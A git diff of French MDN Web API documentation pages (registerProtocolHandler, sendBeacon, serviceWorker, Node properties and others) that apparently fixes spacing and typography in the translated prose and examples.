audio-capture](/en-US/Apps/Developing/App_permissions#audio-capture) and [permission: video-capture](/en-US/Apps/Developing/App_permissions#video-capture) for more information. ## Spécifications @@ -112,6 +112,6 @@ See [permission: audio-capture](/en-US/Apps/Developing/App_permissions#audio-cap ## Voir aussi - {{domxref("MediaDevices.getUserMedia()")}} qui remplace cette méthode dépréciée. -- [WebRTC](/en-US/docs/WebRTC) - page d'introduction aux APIS -- [MediaStream API](/en-US/docs/WebRTC/MediaStream_API) - L'API des Media Streams Objects -- [Taking webcam photos](/en-US/docs/WebRTC/taking_webcam_photos) - un tutoriel à propos de l'utilisation de `getUserMedia()` pour prendre des photos plutôt que des vidéos. +- [WebRTC](/en-US/docs/WebRTC) - page d'introduction aux APIS +- [MediaStream API](/en-US/docs/WebRTC/MediaStream_API) - L'API des Media Streams Objects +- [Taking webcam photos](/en-US/docs/WebRTC/taking_webcam_photos) - un tutoriel à propos de l'utilisation de `getUserMedia()` pour prendre des photos plutôt que des vidéos. diff --git a/files/fr/web/api/navigator/mozislocallyavailable/index.md b/files/fr/web/api/navigator/mozislocallyavailable/index.md index 71ac7e12fe..4e6c672478 100644 --- a/files/fr/web/api/navigator/mozislocallyavailable/index.md +++ b/files/fr/web/api/navigator/mozislocallyavailable/index.md @@ -16,7 +16,7 @@ Permet de déterminer si une ressource donnée est disponible. window.navigator.isLocallyAvailable(uri,ifOffline); - `uri` est l'URI de la ressource dont la disponibilité doit être vérifiée, sous la forme d'une chaîne. -- `ifOffline` permet de spécifier si le cache de ressources hors ligne doit être vérifié ; indiquez `true` pour prendre en compte le cache de ressources hors ligne. +- `ifOffline` permet de spécifier si le cache de ressources hors ligne doit être vérifié ; indiquez `true` pour prendre en compte le cache de ressources hors ligne. ### Exemple @@ -33,4 +33,4 @@ Permet de déterminer si une ressource donnée est disponible. ### Spécification -Aucune ; cependant certaines informations sont disponibles : [Marking Resources for Offline Use](http://www.campd.org/stuff/Offline%20Cache.html) +Aucune ; cependant certaines informations sont disponibles : [Marking Resources for Offline Use](http://www.campd.org/stuff/Offline%20Cache.html) diff --git a/files/fr/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.md b/files/fr/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.md index efb4ff023c..fc161d7c3c 100644 --- a/files/fr/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.md +++ b/files/fr/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_han --- ### Introduction -Il est relativement courant de voir des pages web lier des ressources utilisant des protocoles non-`http`. Prenons par exemple le protocole `mailto:` : +Il est relativement courant de voir des pages web lier des ressources utilisant des protocoles non-`http`. Prenons par exemple le protocole `mailto:` : <a href="mailto:webmaster@example.com">Webmestre</a> @@ -15,19 +15,19 @@ Les gestionnaires de protocoles web permettent à des applications web de partic ### Enregistrement -La définition d'une application web comme gestionnaire de protocole n'est pas un processus difficile. En gros, l'application web utilise [`registerProtocolHandler()`](/fr/DOM/window.navigator.registerProtocolHandler) pour s'enregistrer auprès du navigateur comme gestionnaire potentiel pour un protocole donné. Par exemple : +La définition d'une application web comme gestionnaire de protocole n'est pas un processus difficile. En gros, l'application web utilise [`registerProtocolHandler()`](/fr/DOM/window.navigator.registerProtocolHandler) pour s'enregistrer auprès du navigateur comme gestionnaire potentiel pour un protocole donné. Par exemple : navigator.registerProtocolHandler("mailto", "https://www.example.com/?uri=%s", "Example Mail"); -Où les paramètres sont : +Où les paramètres sont : - Le protocole. -- Le modèle d'URL, utilisé comme gestionnaire. Le « %s » sera remplacé par le `href` du lien et une requête GET sera exécutée sur l'URL résultante. +- Le modèle d'URL, utilisé comme gestionnaire. Le « %s » sera remplacé par le `href` du lien et une requête GET sera exécutée sur l'URL résultante. - Le nom du gestionnaire de protocole tel que présenté à l'utilisateur. -Lorsqu'un navigateur exécutera ce code, il devra demander à l'utilisateur la permission d'autoriser l'application web à s'enregistrer comme gestionnaire du protocole. Firefox affichera une question dans une barre de notification : +Lorsqu'un navigateur exécutera ce code, il devra demander à l'utilisateur la permission d'autoriser l'application web à s'enregistrer comme gestionnaire du protocole. Firefox affichera une question dans une barre de notification :  @@ -64,14 +64,14 @@ Lorsqu'un navigateur exécutera ce code, il devra demander à l'utilisateur la p <title>Exemple de gestionnaire de protocole web — test</title> </head> <body> - <p>Hola, avez-vous déjà vu <a href="fake:ceci%20est%20un%20faux%20protocole">ceci</a> auparavant ?</p> + <p>Hola, avez-vous déjà vu <a href="fake:ceci%20est%20un%20faux%20protocole">ceci</a> auparavant ?</p> </body> </html> ``` ### Traitement -La phase suivante est le traitement de l'action. Le navigateur extrait le `href` du lien activé, le combine avec le modèle d'URL fourni lors de l'enregistrement et effectue une requête HTTP GET sur l'URL. Ainsi, avec les exemples précédents, le navigateur effectuerait une requête GET sur cette URL : +La phase suivante est le traitement de l'action. Le navigateur extrait le `href` du lien activé, le combine avec le modèle d'URL fourni lors de l'enregistrement et effectue une requête HTTP GET sur l'URL. Ainsi, avec les exemples précédents, le navigateur effectuerait une requête GET sur cette URL : http://starkravingfinkle.org/projects/wph/handler.php?value=fake:ceci%20est%20un%20faux%20protocole @@ -96,9 +96,9 @@ if ( isset ( $_GET["value"] ) ) { </head> <body> <h1>Exemple de gestionnaire de protocole web — Gestionnaire</h1> - <p>Cette page est appelée lors de la gestion d'une action utilisant le protocole <code>fake:</code>. Voici les données reçues :</p> + <p>Cette page est appelée lors de la gestion d'une action utilisant le protocole <code>fake:</code>. Voici les données reçues :</p> <textarea> -<?php echo(urldecode($value)) ?> +<?php echo(urldecode($value)) ?> </textarea> </body> </html> diff --git a/files/fr/web/api/navigator/sendbeacon/index.md b/files/fr/web/api/navigator/sendbeacon/index.md index 567bbfb8da..44894ffd3d 100644 --- a/files/fr/web/api/navigator/sendbeacon/index.md +++ b/files/fr/web/api/navigator/sendbeacon/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/Navigator/sendBeacon --- {{APIRef("HTML DOM")}} -La méthode **`navigator.sendBeacon()`** peut être utilisée pour transférer une petite quantité de données de façon asynchrone via {{Glossary("HTTP")}} vers un serveur web. +La méthode **`navigator.sendBeacon()`** peut être utilisée pour transférer une petite quantité de données de façon asynchrone via {{Glossary("HTTP")}} vers un serveur web. ## Syntaxe @@ -23,28 +23,28 @@ La méthode **`navigator.sendBeacon()`** peut être utilisée pour transfér ### Paramètres - `url` - - : Le paramètre `url` indique l'URL résolue à laquelle les `donnees` seront transmises. + - : Le paramètre `url` indique l'URL résolue à laquelle les `donnees` seront transmises. <!----> - `donnees` - - : Le paramètre `donnees` est un objet {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, ou {{domxref("FormData")}} qui contient les données à transmettre. + - : Le paramètre `donnees` est un objet {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, ou {{domxref("FormData")}} qui contient les données à transmettre. ### Valeurs de retour -La méthode **`sendBeacon()`** retourne `true` (vrai) si l'agent utilisateur est en mesure de mettre en file les données à transférer avec succès. Sinon, la méthode retourne `false` (faux). +La méthode **`sendBeacon()`** retourne `true` (vrai) si l'agent utilisateur est en mesure de mettre en file les données à transférer avec succès. Sinon, la méthode retourne `false` (faux). ## Description -Cette méthode répond aux besoins de certains codes analytiques ou de diagnostic qui tentent d'envoyer des données à un serveur web avant le déchargement (_unloading_) du document. Envoyer les données plus tôt pourrait résulter en une opportunité manquée de récolter des données. Toutefois, s'assurer que les données ont été envoyées pendant le déchargement du document est quelque chose qui a traditionnellement été difficile pour les développeurs, car les agents utilisateur ignorent généralement les requêtes {{domxref("XMLHttpRequest")}} faites à l'intérieur d'un gestionnaire d'événements {{event("unload")}}. +Cette méthode répond aux besoins de certains codes analytiques ou de diagnostic qui tentent d'envoyer des données à un serveur web avant le déchargement (_unloading_) du document. Envoyer les données plus tôt pourrait résulter en une opportunité manquée de récolter des données. Toutefois, s'assurer que les données ont été envoyées pendant le déchargement du document est quelque chose qui a traditionnellement été difficile pour les développeurs, car les agents utilisateur ignorent généralement les requêtes {{domxref("XMLHttpRequest")}} faites à l'intérieur d'un gestionnaire d'événements {{event("unload")}}. -Afin de résoudre ce problème, les codes analytiques ou de diagnostic faisaient historiquement appel à une requête `XMLHttpRequest` synchrone dans un gestionnaire d'événements `unload` ou {{event("beforeunload")}} pour soumettre les données. La requête `XMLHttpRequest` synchrone bloque le processus de déchargement du document, ce qui à son tour fait paraître la navigation plus lente. Il n'y a rien que la page suivante peut faire pour éviter cette perception d'une mauvaise performance de chargement de page, et le résultat est que l'utilisateur perçoit la nouvelle page web comme étant lente à se charger, même si le vrai problème provient de la page précédente. +Afin de résoudre ce problème, les codes analytiques ou de diagnostic faisaient historiquement appel à une requête `XMLHttpRequest` synchrone dans un gestionnaire d'événements `unload` ou {{event("beforeunload")}} pour soumettre les données. La requête `XMLHttpRequest` synchrone bloque le processus de déchargement du document, ce qui à son tour fait paraître la navigation plus lente. Il n'y a rien que la page suivante peut faire pour éviter cette perception d'une mauvaise performance de chargement de page, et le résultat est que l'utilisateur perçoit la nouvelle page web comme étant lente à se charger, même si le vrai problème provient de la page précédente. -Il y a des techniques de contournement qui ont été utilisées pour s'assurer que ce type de données est transmis. Une technique de ce genre est de retarder le déchargement de la page pour soumettre les données en créant un élément {{HTMLElement("img")}} et en mettant son attribut `src` dans le gestionnaire de déchargement. Puisque la plupart des agents utilisateur vont retarder le déchargement afin de compléter le chargement de l'image en attente, les données peuvent être transmises durant le déchargement. Une autre technique est de créer une boucle de no-op (aucune opération) pour plusieurs secondes à l'intérieur du gestionnaire de déchargement, afin de retarder le déchargement et soumettre les données au serveur. +Il y a des techniques de contournement qui ont été utilisées pour s'assurer que ce type de données est transmis. Une technique de ce genre est de retarder le déchargement de la page pour soumettre les données en créant un élément {{HTMLElement("img")}} et en mettant son attribut `src` dans le gestionnaire de déchargement. Puisque la plupart des agents utilisateur vont retarder le déchargement afin de compléter le chargement de l'image en attente, les données peuvent être transmises durant le déchargement. Une autre technique est de créer une boucle de no-op (aucune opération) pour plusieurs secondes à l'intérieur du gestionnaire de déchargement, afin de retarder le déchargement et soumettre les données au serveur. Non seulement ces techniques représentent-elles de mauvais patrons de programmation, certaines d'entre elles sont peu fiables, et elles résultent toutes en une perception d'une mauvaise performance de chargement de page pour la prochaine navigation. -L'exemple suivant montre un code analytique théorique qui tente de soumettre des données à un serveur en utilisant une requête `XMLHttpRequest` synchrone dans un gestionnaire de déchargement. Cela résulte en un délai pour le déchargement de la page. +L'exemple suivant montre un code analytique théorique qui tente de soumettre des données à un serveur en utilisant une requête `XMLHttpRequest` synchrone dans un gestionnaire de déchargement. Cela résulte en un délai pour le déchargement de la page. ```js window.addEventListener('unload', enregistrerDonnees, false); @@ -57,9 +57,9 @@ function enregistrerDonnees() { } ``` -C'est là qu'entre en jeu **`sendBeacon()`**. En utilisant la méthode `sendBeacon()`, les données sont transmises de façon asynchrone au serveur web lorsque l'Agent Utilisateur a l'opportunité de le faire, sans retarder le déchargement ou affecter la performance de la navigation suivante. Cela résoud tous les problèmes avec la soumission de données analytiques : les données sont envoyées de façon fiable, asynchrone, et cela n'impacte pas le chargement de la page suivante. De plus, ce code est en fait plus simple à écrire que n'importe quelle de ces autres techniques! +C'est là qu'entre en jeu **`sendBeacon()`**. En utilisant la méthode `sendBeacon()`, les données sont transmises de façon asynchrone au serveur web lorsque l'Agent Utilisateur a l'opportunité de le faire, sans retarder le déchargement ou affecter la performance de la navigation suivante. Cela résoud tous les problèmes avec la soumission de données analytiques : les données sont envoyées de façon fiable, asynchrone, et cela n'impacte pas le chargement de la page suivante. De plus, ce code est en fait plus simple à écrire que n'importe quelle de ces autres techniques! -L'exemple suivant montre un patron de code analytique théorique qui soumet des données à un serveur en utilisant la méthode `sendBeacon()`. +L'exemple suivant montre un patron de code analytique théorique qui soumet des données à un serveur en utilisant la méthode `sendBeacon()`. ```js window.addEventListener('unload', enregistrerDonnees, false); @@ -82,4 +82,4 @@ function enregistrerDonnees() { ## Voir aussi - {{domxref("navigator", "navigator")}} -- {{domxref("WorkerNavigator.sendBeacon()")}} (Utilisation de `sendBeacon()` dans des *workers*) +- {{domxref("WorkerNavigator.sendBeacon()")}} (Utilisation de `sendBeacon()` dans des *workers*) diff --git a/files/fr/web/api/navigator/serviceworker/index.md b/files/fr/web/api/navigator/serviceworker/index.md index 2ecbc2d5e0..eb5ffde123 100644 --- a/files/fr/web/api/navigator/serviceworker/index.md +++ b/files/fr/web/api/navigator/serviceworker/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/Navigator/serviceWorker --- {{APIRef("Service Workers API")}} -Le **`Navigator.serviceWorker`** est une propriété en lecture seule qui renvoie un objet {{domxref("ServiceWorkerContainer")}}, et qui permet d'accéder à l'enregistrement, la suppression, la mise à jour, et la communication avec les objets {{domxref("ServiceWorker")}} pour le [document associé](https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window). +Le **`Navigator.serviceWorker`** est une propriété en lecture seule qui renvoie un objet {{domxref("ServiceWorkerContainer")}}, et qui permet d'accéder à l'enregistrement, la suppression, la mise à jour, et la communication avec les objets {{domxref("ServiceWorker")}} pour le [document associé](https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window). ## syntaxe @@ -48,4 +48,4 @@ Le code ci-dessous vérifie si le navigateur supporte les service workers. ## Voir aussi - [ServiceWorker API](/en-US/docs/Web/API/ServiceWorker_API) -- [Utilisation de Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) +- [Utilisation de Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) diff --git a/files/fr/web/api/navigator/share/index.md b/files/fr/web/api/navigator/share/index.md index 7e2679be73..7b0055e0c7 100644 --- a/files/fr/web/api/navigator/share/index.md +++ b/files/fr/web/api/navigator/share/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/share --- {{APIRef("HTML DOM")}}{{SeeCompatTable}} -La méthode **`Navigator.share()`** invoque le mécanisme de partage natif de l'appareil. Celle-ci appartient à l'API Web Share. Si l'API Web Share n'est pas supportée, alors la méthode sera `undefined`. +La méthode **`Navigator.share()`** invoque le mécanisme de partage natif de l'appareil. Celle-ci appartient à l'API Web Share. Si l'API Web Share n'est pas supportée, alors la méthode sera `undefined`. ## Syntax @@ -14,21 +14,21 @@ La méthode **`Navigator.share()`** invoque le mécanisme de partage natif de ### Paramètres - _data_ - - : Un objet contenant les données à partager. Au moins un des champs suivant doit être spécifié. Les champs possibles sont les suivant : + - : Un objet contenant les données à partager. Au moins un des champs suivant doit être spécifié. Les champs possibles sont les suivant : <!----> -- `url`: Un {{domxref("USVString")}} représentant l'URL à partager. -- `text`: Un {{domxref("USVString")}} représentant le texte à partager. -- `title`: Un {{domxref("USVString")}} représentant le titre à partager. +- `url`: Un {{domxref("USVString")}} représentant l'URL à partager. +- `text`: Un {{domxref("USVString")}} représentant le texte à partager. +- `title`: Un {{domxref("USVString")}} représentant le titre à partager. <!----> ### Valeur retournée -Une {{domxref("Promise")}} qui sera résolue une fois que l'utilisateur aura finalisé son action de partage. Elle sera rejetée immédiatement si le paramètre _data_ n'est pas correctement spécifié. +Une {{domxref("Promise")}} qui sera résolue une fois que l'utilisateur aura finalisé son action de partage. Elle sera rejetée immédiatement si le paramètre _data_ n'est pas correctement spécifié. -Par exemple, sur Chrome pour Android, la `Promise` retournée sera résolue après que l'utilisateur ait choisi une application vers où partager ses données. +Par exemple, sur Chrome pour Android, la `Promise` retournée sera résolue après que l'utilisateur ait choisi une application vers où partager ses données. ## Examples diff --git a/files/fr/web/api/network_information_api/index.md b/files/fr/web/api/network_information_api/index.md index 4cce43d77b..44fbb7d98d 100644 --- a/files/fr/web/api/network_information_api/index.md +++ b/files/fr/web/api/network_information_api/index.md @@ -39,8 +39,8 @@ let preloadVideo = true; var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; if (connection) { if (connection.effectiveType === 'cellular') { - preloadVideo = false; - } + preloadVideo = false; + } } ``` diff --git a/files/fr/web/api/node/appendchild/index.md b/files/fr/web/api/node/appendchild/index.md index c71ba507b3..214732ff24 100644 --- a/files/fr/web/api/node/appendchild/index.md +++ b/files/fr/web/api/node/appendchild/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Node/appendChild --- {{APIRef("DOM")}} -La méthode **`Node.appendChild()`** ajoute un nœud à la fin de la liste des enfants d'un nœud parent spécifié. Si l'enfant donné est une référence à un nœud existant dans le document, `appendChild()` le déplace de sa position actuelle vers une nouvelle position (il n'est pas nécessaire de supprimer le noeud sur son noeud parent avant de l'ajouter à un autre). +La méthode **`Node.appendChild()`** ajoute un nœud à la fin de la liste des enfants d'un nœud parent spécifié. Si l'enfant donné est une référence à un nœud existant dans le document, `appendChild()` le déplace de sa position actuelle vers une nouvelle position (il n'est pas nécessaire de supprimer le noeud sur son noeud parent avant de l'ajouter à un autre). Cela signifie qu'un noeud ne peut pas être à deux points du document simultanément. Donc, si le nœud a déjà un parent, le nœud est d'abord retiré, puis ajouté à la nouvelle position. Le {{domxref("Node.cloneNode()")}} peut être utilisé pour réaliser une copie de noeud avant de l'ajouter à son nouveau parent. Notez que les copies faites avec `cloneNode` ne seront pas automatiquement synchronisées. diff --git a/files/fr/web/api/node/baseuri/index.md b/files/fr/web/api/node/baseuri/index.md index cbecf41d24..d9641e27da 100644 --- a/files/fr/web/api/node/baseuri/index.md +++ b/files/fr/web/api/node/baseuri/index.md @@ -16,9 +16,9 @@ translation_of: Web/API/Node/baseURI La propriété en lecture seule **`Node.baseURI`** renvoie l'URL de base absolue d'un noeud. -L'URL de base est utilisée pour [résoudre](http://developers.whatwg.org/urls.html#resolving-urls) les URL relatives quand le navigateur a besoin d'obtenir une URL absolue, par exemple lors du traitement de l'attribut `src` en HTML ou XML `xlink:href` d'un élément {{HTMLElement("img")}} HTML. +L'URL de base est utilisée pour [résoudre](http://developers.whatwg.org/urls.html#resolving-urls) les URL relatives quand le navigateur a besoin d'obtenir une URL absolue, par exemple lors du traitement de l'attribut `src` en HTML ou XML `xlink:href` d'un élément {{HTMLElement("img")}} HTML. -En général, l'URL de base est simplement l'emplacement du document, mais elle peut être affectée par de nombreux facteurs, y compris l'élément {{HTMLElement("base")}} en HTML et l'attribut [`xml:base`](/fr/docs/Introduction_%C3%A0_XML/xml:base) en XML. +En général, l'URL de base est simplement l'emplacement du document, mais elle peut être affectée par de nombreux facteurs, y compris l'élément {{HTMLElement("base")}} en HTML et l'attribut [`xml:base`](/fr/docs/Introduction_%C3%A0_XML/xml:base) en XML. ## Syntaxe @@ -45,7 +45,7 @@ Vous pouvez utiliser `{{domxref("document")}}.baseURI` pour obtenir l'URL de bas L'URL de base d'un _element_ en HTML est normalement équivalente à celle du document dans lequel se trouve le noeud. -Si le document contient des attributs [`xml:base`](/fr/docs/Introduction_%C3%A0_XML/xml:base) (ce que vous ne devriez pas faire dans les documents HTML), l'`element.baseURI` prend en compte l'attribut `xml:base` des parents de l'élément lors du calcul de l'URL de base. Voir [xml:base](/fr/docs/Introduction_%C3%A0_XML/xml:base) pour plus de détails. +Si le document contient des attributs [`xml:base`](/fr/docs/Introduction_%C3%A0_XML/xml:base) (ce que vous ne devriez pas faire dans les documents HTML), l'`element.baseURI` prend en compte l'attribut `xml:base` des parents de l'élément lors du calcul de l'URL de base. Voir [xml:base](/fr/docs/Introduction_%C3%A0_XML/xml:base) pour plus de détails. Vous pouvez utiliser `{{domxref("element")}}.baseURI` pour obtenir l'URL de base d'un élément. diff --git a/files/fr/web/api/node/childnodes/index.md b/files/fr/web/api/node/childnodes/index.md index 4482d18e89..2abbdf1d4c 100644 --- a/files/fr/web/api/node/childnodes/index.md +++ b/files/fr/web/api/node/childnodes/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Node/childNodes --- {{APIRef("DOM")}} -La propriété en lecture seule **`Node.childNodes`** renvoie une {{domxref("NodeList")}} (_liste de noeuds_) de {{domxref("Node","noeuds")}} enfants de l'élément donné avec le premier noeud enfant affecté à l'index 0. +La propriété en lecture seule **`Node.childNodes`** renvoie une {{domxref("NodeList")}} (_liste de noeuds_) de {{domxref("Node","noeuds")}} enfants de l'élément donné avec le premier noeud enfant affecté à l'index 0. ## Syntaxe @@ -48,9 +48,9 @@ if (parg.hasChildNodes()) { Les éléments de la collection de noeuds sont des objets et non des chaînes de caractères. Pour en obtenir les données, vous devez utiliser leurs propriétés (par exemple `elementNodeReference.childNodes[1].nodeName` pour obtenir son nom, etc.) -L'objet [`document`](/fr/DOM/document) lui-même a deux enfants : la déclaration [Doctype](/fr/DOM/document.doctype) et l'élément racine, généralement appelés `documentElement` . (Dans les documents (X)HTML il s'agit d'éléments [`HTML`](/fr/HTML/Element/html)). +L'objet [`document`](/fr/DOM/document) lui-même a deux enfants : la déclaration [Doctype](/fr/DOM/document.doctype) et l'élément racine, généralement appelés `documentElement` . (Dans les documents (X)HTML il s'agit d'éléments [`HTML`](/fr/HTML/Element/html)). -`childNodes` inclut tous les noeuds enfants, y compris les noeuds qui ne sont pas des éléments comme les noeuds texte et commentaire. Pour obtenir une collection des seuls éléments, utilisez {{domxref("ParentNode.children")}} à la place. +`childNodes` inclut tous les noeuds enfants, y compris les noeuds qui ne sont pas des éléments comme les noeuds texte et commentaire. Pour obtenir une collection des seuls éléments, utilisez {{domxref("ParentNode.children")}} à la place. diff --git a/files/fr/web/api/node/clonenode/index.md b/files/fr/web/api/node/clonenode/index.md index ca70a18cb3..c71153856b 100644 --- a/files/fr/web/api/node/clonenode/index.md +++ b/files/fr/web/api/node/clonenode/index.md @@ -24,9 +24,9 @@ La méthode **`Node.cloneNode()`** renvoie une copie du nœud sur lequel elle a - deep _{{optional_inline}} (profondeur)_ - : `true` (_vrai_) si les enfants du noeud doivent aussi être clonés ou `false` (_faux_) si seul le noeud spécifié doit l'être. -> **Note :** Dans la spécification DOM4 (telle qu'implémentée dans Gecko 13.0 {{geckoRelease(13)}}), `deep` est un argument facultatif. S'il est omis, la méthode agit comme si la valeur de `deep` était **`true`** par défaut, elle utilise le clonage profond comme comportement par défaut. Pour créer un clone superficiel, `deep` doit être défini sur `false`. +> **Note :** Dans la spécification DOM4 (telle qu'implémentée dans Gecko 13.0 {{geckoRelease(13)}}), `deep` est un argument facultatif. S'il est omis, la méthode agit comme si la valeur de `deep` était **`true`** par défaut, elle utilise le clonage profond comme comportement par défaut. Pour créer un clone superficiel, `deep` doit être défini sur `false`. > -> Le comportement a été modifié dans la dernière spécification et, s'il est omis, la méthode doit agir comme si la valeur de `deep` était **`false`**. Bien que ce soit toujours facultatif, vous devriez toujours fournir l'argument `deep` pour la compatibilité amont et aval. Avec Gecko 28.0 {{geckoRelease(28)}}), la console a averti les développeurs de ne pas omettre l'argument. À partir de Gecko 29.0 {{geckoRelease(29)}}), un clone superficiel est défini par défaut au lieu d'un clone profond. +> Le comportement a été modifié dans la dernière spécification et, s'il est omis, la méthode doit agir comme si la valeur de `deep` était **`false`**. Bien que ce soit toujours facultatif, vous devriez toujours fournir l'argument `deep` pour la compatibilité amont et aval. Avec Gecko 28.0 {{geckoRelease(28)}}), la console a averti les développeurs de ne pas omettre l'argument. À partir de Gecko 29.0 {{geckoRelease(29)}}), un clone superficiel est défini par défaut au lieu d'un clone profond. ## Exemple @@ -48,14 +48,14 @@ Si `deep` est évalué à `true`, le sous-arbre entier est copié également (y Si le noeud d'origine a un identifiant et que le clone doit être placé dans le même document, l'identifiant du clone peut être modifié pour être unique. Les attributs du nom peuvent devoir être modifiés également, selon que les noms en double sont attendus. -Pour cloner un noeud à ajouter dans un document différent, utilisez {{domxref("Document.importNode()")}} à la place. +Pour cloner un noeud à ajouter dans un document différent, utilisez {{domxref("Document.importNode()")}} à la place. ### Spécification | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}} | {{Spec2("DOM WHATWG")}} | | -| {{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}} | {{Spec2("DOM3 Core")}} | | +| {{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}} | {{Spec2("DOM WHATWG")}} | | +| {{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}} | {{Spec2("DOM3 Core")}} | | | {{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}} | {{Spec2("DOM2 Core")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/node/comparedocumentposition/index.md b/files/fr/web/api/node/comparedocumentposition/index.md index 7607849fb8..248023dbe9 100644 --- a/files/fr/web/api/node/comparedocumentposition/index.md +++ b/files/fr/web/api/node/comparedocumentposition/index.md @@ -49,7 +49,7 @@ if (head.compareDocumentPosition(document.body) & Node.DOCUMENT_POSITION_FOLLOWI | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | -| {{SpecName('DOM WHATWG','#dom-node-comparedocumentposition','Node.compareDocumentPosition()')}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG','#dom-node-comparedocumentposition','Node.compareDocumentPosition()')}} | {{Spec2('DOM WHATWG')}} | | | {{SpecName('DOM3 Core','core.html#Node3-compareDocumentPosition','Node.compareDocumentPosition()')}} | {{Spec2('DOM3 Core')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/node/contains/index.md b/files/fr/web/api/node/contains/index.md index ae386427c2..add72ee901 100644 --- a/files/fr/web/api/node/contains/index.md +++ b/files/fr/web/api/node/contains/index.md @@ -17,7 +17,7 @@ translation_of: Web/API/Node/contains ## Exemple -Cette fonction vérifie si un élément est dans le corps de la page. Comme `contains` est inclusif, déterminer si le corps est contenu en lui-même n'est pas le but de `isInPage,` donc ce cas renvoie `false`. +Cette fonction vérifie si un élément est dans le corps de la page. Comme `contains` est inclusif, déterminer si le corps est contenu en lui-même n'est pas le but de `isInPage,` donc ce cas renvoie `false`. ```js function isInPage(node) { diff --git a/files/fr/web/api/node/firstchild/index.md b/files/fr/web/api/node/firstchild/index.md index 02a1edd488..3b2321f020 100644 --- a/files/fr/web/api/node/firstchild/index.md +++ b/files/fr/web/api/node/firstchild/index.md @@ -32,7 +32,7 @@ Cet exemple montre l'utilisation de `firstChild` et la manière dont les nœuds </script> ``` -Dans le code ci-dessus, la [console](/fr/docs/Web/API/Console) affichera « #text » car un nœud texte a été inséré pour préserver les blancs entre la fin des balises ouvrantes \<p> et \<span>. **Tout** [espace](/fr/docs/Gestion_des_espaces_dans_le_DOM) provoquera l'insertion d'un nœud `#text` , qu'il s'agisse d'un simple espace ou de plusieurs, de retours à la ligne, tabulations, etc. +Dans le code ci-dessus, la [console](/fr/docs/Web/API/Console) affichera « #text » car un nœud texte a été inséré pour préserver les blancs entre la fin des balises ouvrantes \<p> et \<span>. **Tout** [espace](/fr/docs/Gestion_des_espaces_dans_le_DOM) provoquera l'insertion d'un nœud `#text` , qu'il s'agisse d'un simple espace ou de plusieurs, de retours à la ligne, tabulations, etc. Un autre nœud `#text` est inséré entre les balises de fermeture \</span> et \</p>. @@ -47,9 +47,9 @@ Si ces espaces sont retirés du code source, les nœuds `#text` n'apparaîtront </script> ``` -À présent, l'alerte affichera « SPAN ». +À présent, l'alerte affichera « SPAN ». -Pour éviter le problème avec `node.firstChild` renvoyant des noeuds `#text` ou `#comment`, {{domxref("ParentNode.firstElementChild")}} peut être utilisé pour renvoyer seulement le premier noeud élément. Toutefois, `node.firstElementChild` nécessite un "shim" pour Internet Explorer 9 et antérieurs. +Pour éviter le problème avec `node.firstChild` renvoyant des noeuds `#text` ou `#comment`, {{domxref("ParentNode.firstElementChild")}} peut être utilisé pour renvoyer seulement le premier noeud élément. Toutefois, `node.firstElementChild` nécessite un "shim" pour Internet Explorer 9 et antérieurs. ## Spécification diff --git a/files/fr/web/api/node/index.md b/files/fr/web/api/node/index.md index 624d732fe0..0deb6f089c 100644 --- a/files/fr/web/api/node/index.md +++ b/files/fr/web/api/node/index.md @@ -38,9 +38,9 @@ _Hérite les propriétés de son parent {{domxref("EventTarget")}}_. - {{DOMxRef("Node.lastChild")}} {{readonlyInline}} - : Retourne un {{domxref("Node")}} représentant le dernier nœud enfant direct de ce nœud ou `null` s'il n'a pas d'enfant. - {{DOMxRef("Node.nextSibling")}} {{readonlyInline}} - - : Retourne un {{domxref("Node")}} représentant le nœud suivant dans l'arbre ou `null` s'il n'y en a pas. + - : Retourne un {{domxref("Node")}} représentant le nœud suivant dans l'arbre ou `null` s'il n'y en a pas. - {{DOMxRef("Node.nodeName")}} {{readonlyInline}} - - : Retourne une {{domxref("DOMString")}} (_chaîne de caractères_) contenant le nom du nœud. La structure du nom diffère du type de nœud. Par exemple, un {{domxref("HTMLElement")}} contiendra le nom de la balise correspondante, comme `'audio'` pour un {{domxref("HTMLAudioElement")}}, un nœud {{domxref("Text")}} doit avoir la chaîne `'#text'` ou un {{domxref("Document")}} doit avoir la chaîne `'#document'.`. + - : Retourne une {{domxref("DOMString")}} (_chaîne de caractères_) contenant le nom du nœud. La structure du nom diffère du type de nœud. Par exemple, un {{domxref("HTMLElement")}} contiendra le nom de la balise correspondante, comme `'audio'` pour un {{domxref("HTMLAudioElement")}}, un nœud {{domxref("Text")}} doit avoir la chaîne `'#text'` ou un {{domxref("Document")}} doit avoir la chaîne `'#document'.`. - {{DOMxRef("Node.nodeType")}}{{readonlyInline}} - : Retourne un `unsigned short` (_non signé court_) représentant le 